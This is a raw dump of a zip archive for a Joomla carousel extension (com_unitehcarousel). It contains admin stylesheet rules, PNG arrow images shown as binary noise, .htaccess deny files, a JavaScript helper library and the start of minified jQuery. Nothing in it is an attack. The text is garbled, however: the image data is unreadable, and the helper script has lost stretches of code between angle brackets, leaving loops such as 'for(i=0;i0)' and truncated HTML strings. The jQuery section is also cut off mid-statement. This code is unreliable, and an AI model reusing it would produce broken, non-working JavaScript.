url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmMmYyZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #5BC0DE), color-stop(100%, #2F96B4)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* IE10+ */ background: linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#5BC0DE', endColorstr='#2F96B4', GradientType=0 ); /* IE6-8 */ color:#fff !important; font-size:14px; text-shadow:1px 1px 1px #5BC0DE; text-decoration:none; -moz-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; /* future proofing */ -khtml-border-radius: 5px; /* for old Konqueror browsers */ box-shadow: 0 1px #FFFFFF; -moz-box-shadow: 0 1px #FFFFFF; -webkit-box-shadow: 0 1px #FFFFFF; border: 1px solid #5BC0DE; cursor:pointer; text-align:center; padding-left:12px; padding-right:12px; padding-top:4px; padding-bottom:4px; } a.button-primary:hover{ text-decoration:none !important; color:#fff; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmMmYyZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #2F96B4), color-stop(100%, #5BC0DE)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* IE10+ */ background: linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2F96B4', endColorstr='#5BC0DE', GradientType=0 ); /* IE6-8 */ cursor:pointer; } /* ----------------- Arrows Grid --------------- */ ul.arrows_list{ list-style:none; margin:0px; padding:0px; } ul.arrows_list li{ float:left; margin-right:10px; margin-bottom:10px; } ul.arrows_list li a{ display:block; width:150px; height:117px; text-decoration:none; text-align:center; background-image:url(images/bg.gif); -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ border:1px solid lightgray; } ul.arrows_list li a span{ display:block; padding-top:10px; } .arrows_grid .arrow_left{ margin-right:2px; } .arrows_grid .arrow_right{ margin-left:2px; } ul.arrows_list li a:hover{ background-color:#e6e6e6; background-image:none; } .dir_arrow{ position:absolute; cursor:move; } /* ----------------- Bullets --------------- */ #bullets_wrapper{ position:absolute; cursor:move; } #bullets_wrapper ul{ list-style:none; margin:0px; padding:0px; } #bullets_wrapper ul li{ float:left; } /* ----------------- Bullets Grid --------------- */ ul.bullets_list{ list-style:none; margin:0px; padding:0px; } ul.bullets_list li{ float:left; margin-right:10px; margin-bottom:10px; } ul.bullets_list li a{ display:block; width:130px; height:60px; text-decoration:none; text-align:center; background-image:url(images/bg.gif); -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ border:1px solid lightgray; } ul.bullets_list li a span{ display:block; padding-top:10px; } ul.bullets_list li a:hover{ background-color:#e6e6e6; background-image:none; } /* ----------------- Captions --------------- */ #caption_back{ position:absolute; width:100%; left:0px; } #caption_text{ margin:0px; } /* =============== Slide View =============== */ .slide_wrapper_inside{ width:800px; } /* =============== Settings Admin Input =============== */ /* arrow chooser */ .adminform .chooser-image-wrapper{ margin:0px; padding:0px; } .adminform .chooser-image-wrapper img{ margin:0px; padding:0px; margin-right:10px; } .adminform .button-chooser{ float:left; margin-top:10px; } /* end arrow chooser */ .adminform input.number{ width:50px; } .adminform .unit{ float:left; font-size:12px; padding-top:10px; } .adminform input { padding:5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; /* future proofing */ font-size:13px; } .adminform select { padding:5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; /* future proofing */ } .adminform label { font-size:13px!important; min-width:160px!important; width:160px!important; } .adminform .radio_small label{ min-width:30px!important; width:30px!important; } .adminform .radio_wide label{ min-width:100px!important; width:100px!important; } .submenu-box { padding:10px; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmMmYyZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ffffff), color-stop(100%, #f2f2f2)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* IE10+ */ background: linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#f2f2f2', GradientType=0 ); /* IE6-8 */ -moz-box-shadow: 0px 1px 2px 1px #ccc; -webkit-box-shadow: 0px 1px 2px 1px #ccc; box-shadow: 0px 1px 2px 1px #ccc; -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ -khtml-border-radius: 10px; /* for old Konqueror browsers */ height:30px; } ul#submenu li a { display:block; padding:8px; -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ border:1px solid transparent; } ul#submenu li { margin-right:10px; } ul#submenu li a:hover { border:1px solid lightgray; text-decoration:none; } ul#submenu li a.active { border:1px solid lightgray; text-decoration:none; } #button_edit_slides_general{ float:right; margin-top:16px; margin-right:20px; } PKs>\)>com_unitehcarousel/assets/arrows/elegant_round_white/.htaccessnuW+A Order allow,deny Deny from all PKs>\ %  >com_unitehcarousel/assets/arrows/elegant_round_white/right.pngnuW+APNG  IHDR--: pHYs  ~IDATX͙k#eL_!6PXh"¶i +ʞae daғaJYӆ֖P6n1"ں4h;$My@H&|ɛyߙ$a \g#}~? n՞M XnZy$=Z7I$ ^!Z$ݕ6-#CI']MSW$ͷQ˜_qIO:(@R#yS@˽KsV/fff(J,..=0dBƆ߸`)xP(D>S*H$~`[7bww5bxo3 (jHT"2Y<`HRVYXXm4ߵ!6sw*{{{LLLDLŮWL%looeddd#Wk,--144`ѕxj"նm,`T*e5ԆqGtx v/VM{ou&o sh47p[/# 4]TY%$Y^筹Q{-.O$]ks֬$[y\.ZCmI gЊ{#E"ꅏVDqخ,_=\l`#{˳{O4IENDB`PKs>\?com_unitehcarousel/assets/arrows/elegant_round_white/index.htmlnuW+APKs>\EZDcom_unitehcarousel/assets/arrows/elegant_round_white/right_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATx̙MkSQ' mIBmVئp'RtťЍ W]V"n\i>HlZVB|9s{.x&sҍ>=w̜9R:m"oF_@_Bl-%+OoRC;=7謞gs1py~Wo My}->G?ڊ+Bz^}}OdV*^@>~6A{@?RjmV6Ic _ѳ@;)vւ&+Y"[s|> >A'h]!Jq*-C9 fV+B!fnKeUͱ`iX,r_.), LLLDQNhWus\.H$83[*;x888p8̱CjEaPI&V⑑X,trPFѨA8Nښiǵv &]*}}}z9%Tƒ  FtZUd20>>.7QLV*Wn୭-9S8N\zC:u߇H$6 FGG9P@J6/pIbHQ˘WVqztt$7r1aևa M]]]OcuIKn㯸bYƪAޭdR;t w0Mz&ݢqwǭ Ɲ0TwkqH,TZM.@K_s]#[4f],:~YyB+NL+>l=h(L[:\.Ccom_unitehcarousel/assets/arrows/elegant_round_white/left_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATxYMkal1TU$ &œ)xЃG/z"xxM"744bQcH?Lԙ|n2АnfNwƴ ։,7M?qqqεD~G$Ԥ"ҽqqH} A$Mxeeno!젏!4SDN-i 6<kTi 7K?@"]R{>7i(ibH߬VŃiRN/d xie6[YYP("u("hv;tv)ATH$Td2qRItm.xVWWaddl6gI_ qUt: T <QIҧ8 \.zz?BOsp, dYՋtF\veqqQ_Eap80== \'4/l$RNyNNyզw3$6a sG$OQ`C1}GN@&da(̗NRg˓ lxUҴbx {vXsDF#m@DenC5U =*[z`b Xc4]aɖDx[FEt!`~U"izM0!jMI嚙\MM=com_unitehcarousel/assets/arrows/elegant_round_white/left.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp -w){IDATx̙KSaǟi0x!B0rxUFWB?xUWBEEten"/2PP岹yz{b37y޳}8TUF.AoH%Uߋ!ȕ"K!Oo ndod xLiʫ -8U 2=ڧjt=2گψ<ӎ[^=Cy UUZfrԘ{N":>lll2sWvzڎe^+"x\Q}>477 q~N EJ99vs&sb300]4WؗzMɽؾGqNS/Ͽ>N@&z& ^b%@Af$Gdda#4b &Q9[7V |e4LVcsm$esSE1F)^ѝ-Lq<3XVa#9 OȄ9b.4||7i-r\FD̗tfDyxA#L\!?%@com_unitehcarousel/assets/arrows/elegant_round_white/options.ininuW+Awidth = 45 height = 45PKs>\)*com_unitehcarousel/assets/arrows/.htaccessnuW+A Order allow,deny Deny from all PKs>\+com_unitehcarousel/assets/arrows/index.htmlnuW+APKs>\?com_unitehcarousel/assets/arrows/elegant_round_black/index.htmlnuW+APKs>\"g=com_unitehcarousel/assets/arrows/elegant_round_black/left.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<hiTXtXML:com.adobe.xmp اIDATx̙Q"a'c#"(=O Zzݧ,}%},rY^bC׽芈8{g%umO5sxWɊ8r#wZ9rFfZ(_s}!w$Z{d)!.bW:ef40B]HBF6t|vEμ < yq.v61c]F? b'C0aL FQX SQ9KJ$\1 UNL&FzW%,X,fs;ݵUvi*6;WZ:FCU%M\V}sH6g$;ߝ@_%?:ړ$W澢g|4eM@@ypp@ێZqa >!9  '1skj Upq.~ /8o qqԫ[fu\.Y[Lk}YyQv?S$bRu~v# 2_ORsXIENDB`PKs>\!?%@com_unitehcarousel/assets/arrows/elegant_round_black/options.ininuW+Awidth = 45 height = 45PKs>\&t11Ccom_unitehcarousel/assets/arrows/elegant_round_black/left_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATxYKq>n -4K1ZZ8  B%!034лƠ.*Q$+Sie.Vy*-9X͹[<8ѝ=;_ "?3_~WIQB!5O!'.D@V -q~/-E#"^"ҢGnm9 eyFsx&z"$|V +7O4 R0bC^Ft9Ta$G#)<=ULDn$(e1dffJ!pS9P^^~%G4yyࢢ">OljǤ,Aoo/zE)ƕ6Bǧs厎())z8@ Tƨhoo>-2qQSL&*V= Vu`hhL:aJuyj-uvvBAAṹ9M^*ʸ6 ZZZn'SLRs= !AK1}& &"xM$Q2Fqq1466ؘyaܥ1X,033Z J6 ݭr vvъ# ͐ Z|XOHXt: MMMv߅A+5g 7x FFFl6+M nhot&AQ⼿_s!ߢ"Z({*e!\~oII>com_unitehcarousel/assets/arrows/elegant_round_black/right.pngnuW+APNG  IHDR--: pHYs  ~IDATX͙Qd[ap!!WP#*]0.{1eF*#Qse I !sHe]9sҥi6/ɗwЗ1~]%G {@/)Pu<^`5U0RYj*J^=/оA5 1 = m 848(Я4 %mmV]NKdiYt:-""-!7p˲hHדL& ^ Q\kkkHlք~\""RV5sGBM)""R,5sб~e/Z;˭8NKӑV%TJ#Lc4 lVáui?nZ:99a0x7O8Jnr||ߟIOIENDB`PKs>\)>com_unitehcarousel/assets/arrows/elegant_round_black/.htaccessnuW+A Order allow,deny Deny from all PKs>\ ##Dcom_unitehcarousel/assets/arrows/elegant_round_black/right_hover.pngnuW+APNG  IHDR--:tEXtSoftwareAdobe ImageReadyqe<IDATxY]HSa~(Sh_"X"օ^v+", D (̒dm9i;0m=x{{Q܋`08gZ};͑Ez=tuui? 7@2hYvb 333a$zZIX,fLJ p@]] qҊĢ@ n +++055Bjt!)%F%a!WHREGM---011ccc"Zt=D"){PQG(,TGFF@IA0aTxzIƿSLXynR zN.g]\QM&c7l6$ qa mdCQɿR*]@F| l;ޱBjT Fn{tiqnsG[-zoY/"4 e_ *ަ"L'D*фoG/ǡMQy YY`уeN4"ũܽ_L7`*;N>qN/XdU aBCSLقfJZV3 & mH%#Nk.k& x+U+dG kfs 0deIENDB`PKs>\pGG#com_unitehcarousel/assets/jsfunc.jsnuW+A var LF = String.fromCharCode(13) + String.fromCharCode(10); function isIE(){ if(document.all) return(true); else return(false); } ///////////////////////////////////////////// //for tracing document.write(""); var traceNum = 0; function trace(text){ //return(false); //remove me var div; placeX = 1000; if(arguments.length>1) placeX = arguments[1]; div = document.getElementById("traceDiv"); if(!div){ alert(text); return(false); } traceNum ++; div.style.backgroundColor = "#B9DBF0"; div.style.background = "#B9DBF0"; div.style.display = ""; div.style.left = placeX; div.innerHTML = "
    " + traceNum + ":  " + text + div.innerHTML; } function clearTrace(){ var div; div = getElement("traceDiv"); if(!div) return(false); div.innerHTML = ""; traceNum = 0; } ///////////////////////////////////////////////////////// function getElement(objectName){ var obj = document.getElementById(objectName); if(!obj){ alert(objectName + " error - no object"); return(false); } return(obj) } /////////////////////////////////////////////////// function getElements(objectName){ var obj = document.getElementsByName(objectName); if(!obj){ alert(objectName + " error - no object"); return(false); } return(obj) } /////////////////////////////////////////////////// function displayElement(elementID,show){ if(typeof show == "undefined") var show = true; var el = getElement(elementID); if(!el) return(false); if(show == true) el.style.display = ""; else if(show == false) el.style.display = "none"; } /////////////////////////////////////////////////// function focusElement(elementID){ var el = getElement(elementID); if(!el) return(false); el.focus(); } /////////////////////////////////////////////////// function enableElement(elementID,show){ if(typeof show == "undefined") var show = true; var el = getElement(elementID); if(!el) return(false); el.disabled = (!show); } ////////////////////////////////////////////////////////////////////////////// function valueElement(objectName,text){ var obj = document.getElementById(objectName); if(!obj){ alert(objectName + "error - no object"); return(false); } if(obj.tagName == "TD" || obj.tagName == "DIV") obj.innerHTML = text; else obj.value = text; return(obj) } //------------------------ select fuinctions ----------------------------------------- ////////////////////////////////////////////////////////////////////////////// // return selected option of select box function getSelectedOption(selectID){ var i,selectedOption,select; selectedOption = false; select = getElement(selectID); for(i=0;i0) arrEx = exValues.split(","); if(maskValues.length>0) arrMask = maskValues.split(","); str = ""; for(i=0;i0 && searchInArray(arrEx,value) != -1) flag = false; else{ if(maskValues.length>0 && searchInArray(arrMask,value) == -1) flag = false; } if(flag == true){ if(str.length > 0) str += sap; str += value; } } return(str); } ////////////////////////////////////////////////////////////////////////////// // select multiple items by value function selectMultiple(selectID,values,sap){ var i,select,arrValues,value; values = String(values); select = getElement(selectID); if(values.length == 0) return(false); arrValues = values.split(sap); if(arrValues.length == 0) return(false); for(i=0;i0) values += sap; if(flagNames) values += select.options[i].text; else values += select.options[i].value; } return(values); } ///////////////////////////////////////////// //remove all items from a select function clearSelect(selectID){ var select = getElement(selectID); while(select.options.length != 0) select.remove(0); } ///////////////////////////////////////////// //find select option by value, and update text function updateSelectByValue(selectID,value,text){ var select,selectedOption; selectedOption = false; select = getElement(selectID); for(i=0;i= 0){ if(select.selectedIndex == select.length-1) optionOld = null; else{ indexOld = select.selectedIndex+1; optionOld = select.options[indexOld]; } } } else{ if (select.selectedIndex >= 0){ indexOld = select.selectedIndex; optionOld = select.options[indexOld]; } } try { select.add(option, optionOld); // standards compliant; doesn't work in IE } catch(ex) { if(indexOld != -1) select.add(option, indexOld); // IE only else select.add(option); // IE only } if(select.multiple == false) option.selected = true; } ////////////////////////////////////////////////////////////////////////////// //remove item from list , by the value function removeFromSelectByValue(selectID,value){ var select,options,i,removeIndex,selectIndex; select = getElement(selectID); options = select.options; removeIndex = -1; for(i=0;i=0) select.options[selectIndex].selected = true; } } ///////////////////////////////////////////////////////// //Find absolute position on the screen of some element function findPos(obj){ var curleft = curtop = 0; if (obj.offsetParent) { curleft = obj.offsetLeft; curtop = obj.offsetTop; while (obj = obj.offsetParent) { curleft += obj.offsetLeft; curtop += obj.offsetTop; } } return[curleft,curtop]; } ///////////////////////////////////////////////////////// // set absolute div to distanation div position function setDivToDivPos(srcID,dstID,dx,dy){ if(!dx) var dx=0; if(!dy) var dy=0; var pos = findPos(getElement(dstID)); var div = getElement(srcID); div.style.left = Number(pos[0]+dx)+"px"; div.style.top = Number(pos[1]+dy)+"px"; } ///////////////////////////////////////////////////////// //Get selected radio number. if not - return 0 function getSelectedRadioNumber(radioID){ var radios,i; radio = getElements(radioID); for(i=0;i0) str = String("0" + num); return(str); } ///////////////////////////////////////////////////////// // print array by trace name/id -> element function print_r(arr){ if(typeof arr!="object"){ trace("print_r error , the given array argument is not object, but: " + typeof arr); return(false); } var i,x; for(x in arr){ trace(x + " - " + arr[x] + ""); } } ///////////////////////////////////////////////////////// function trim(str){ return str.replace(/^\s+|\s+$/g,""); } ///////////////////////////////////////////////////////// //get view area sizes (set global function getViewSizes(){ var viewWidth,viewHeight; //firefox if(typeof window.innerWidth != 'undefined'){ viewWidth = window.innerWidth; viewHeight = window.innerHeight; } //explorer else if (typeof document.documentElement != 'undefined' && typeof document.documentElement.clientWidth != 'undefined' && document.documentElement.clientWidth != 0){ viewWidth = document.documentElement.clientWidth; viewHeight = document.documentElement.clientHeight; } //older explorer else{ var bodies = document.getElementsByTagName('body'); if(!bodies){ alert("getViewSizes (javascriptFunctions.js) error - the body not found"); return([0,0]); } viewWidth = bodies[0].clientWidth; viewHeight = bodies[0].clientHeight; } return([viewWidth,viewHeight]); } ///////////////////////////////////////////////////////// //deside how the error will be printed function printError(err){ alert(err); } ///////////////////////////////////////////////////////// // load external js code function loadJsCode(code){ if(window.execScript) window.execScript(code) else window.eval(code); } ///////////////////////////////////////////////////////// //string left and string right functions: function left(str,n){ if (n <= 0) return ""; else if (n > String(str).length) return str; else return String(str).substring(0,n); } function right(str, n){ if (n <= 0) return ""; else if (n > String(str).length) return str; else { var iLen = String(str).length; return String(str).substring(iLen, iLen - n); } } //-------------------------------------------------------------------------- function getSrcElementFromEvent(e){ if(isIE()) return(e.srcElement); return(e.target); } //------------------------------------------------------------------------------------------------------------------------------------------------------ // dump functions function dump_a(obj){ var ret_val="
    "; if(typeof obj == 'object' || typeof obj == 'function') { //ret_val += '***'+obj.name+'***
    '; for(var i in obj){ ret_val += ('' + i + ' (' + typeof obj[i] + ') :' + obj[i] + '

    '); // if (typeof obj[i] == 'object')// && (bool == true)) // ret_val += "
    "+ dump(obj[i]) +"
    '); ret_val += "
    "; return ret_val; } function dump_all(obj,count){ //if(obj == null) if(typeof obj == 'undefined') return "undefined"; if( obj == 'parent') return "Pt4567"; // var ret_val= ""; var ct = ( count == null)? 3 : parseInt(count)-1 if (ct > 0) { //ret_val += ct+ ('(' + typeof obj + ') :' + obj + '
    ')+dump_all(obj,ct); /**/ var ret_val = '
    ' + ('
    ' + ct + '
    '); if(typeof obj == 'object') { for(var i in obj){ ret_val += ('' + i + ' (' + typeof obj[i] + ') :' + obj[i] + '

    '); if (i != 'parent'){ if ((typeof obj[i] == 'object') )// && ((count == null) )) ret_val += "
    "+ dump_all(obj[i],ct) +"
    ' + obj + ' (' + typeof obj + ') :' + obj + '

    '); ret_val += '
    '; /**/ } if (ret_val == null) return "stoped looking"; else return ret_val; } /////////////////////////////////////////////////////////////// function print_blank(txt,objName){ var preText = (objName == null) ? '' : objName; if (objName != '') preText = '***'+objName+'***
    '; var a = window.open("about:blank"); a.document.writeln(preText+txt); a.document.close(); } /////////////////////////////////////////////////////////////// function dmp(obj,depth){ var depth = (depth == null) ? 0 : depth; var preText = ''; if (depth>1){ print_blank(dump_all(obj,depth),obj.name); } else{ print_blank(dump_a(obj),obj.name); //preText = '***'+obj.name+'***
    '; } } //-------------------------------------------------------------------------- //get array with all form elements function getObjFormElements(formID){ var obj = new Object(); var form = getElement(formID); var name,value,type,flagUpdate; //enabling all form items connected to mx for(var i=0; i/? "; var charSet = ""; if (number == true) charSet += numberChars; if (lower == true) charSet += lowerChars; if (upper == true) charSet += upperChars; if (other == true) charSet += otherChars; return charSet.charAt(getRandomNum(0, charSet.length)); } //------------------------------------------------------------------------------------------------ //generate password (first - char, lowercase) function generatePassword(len){ var str = getRandomChar(false,true,false,false); //get char only for(var i=0;i\Wxrxr'com_unitehcarousel/assets/jquery.min.jsnuW+A/*! jQuery v1.7.2 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"":"")+""),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?+d:j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.2",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var 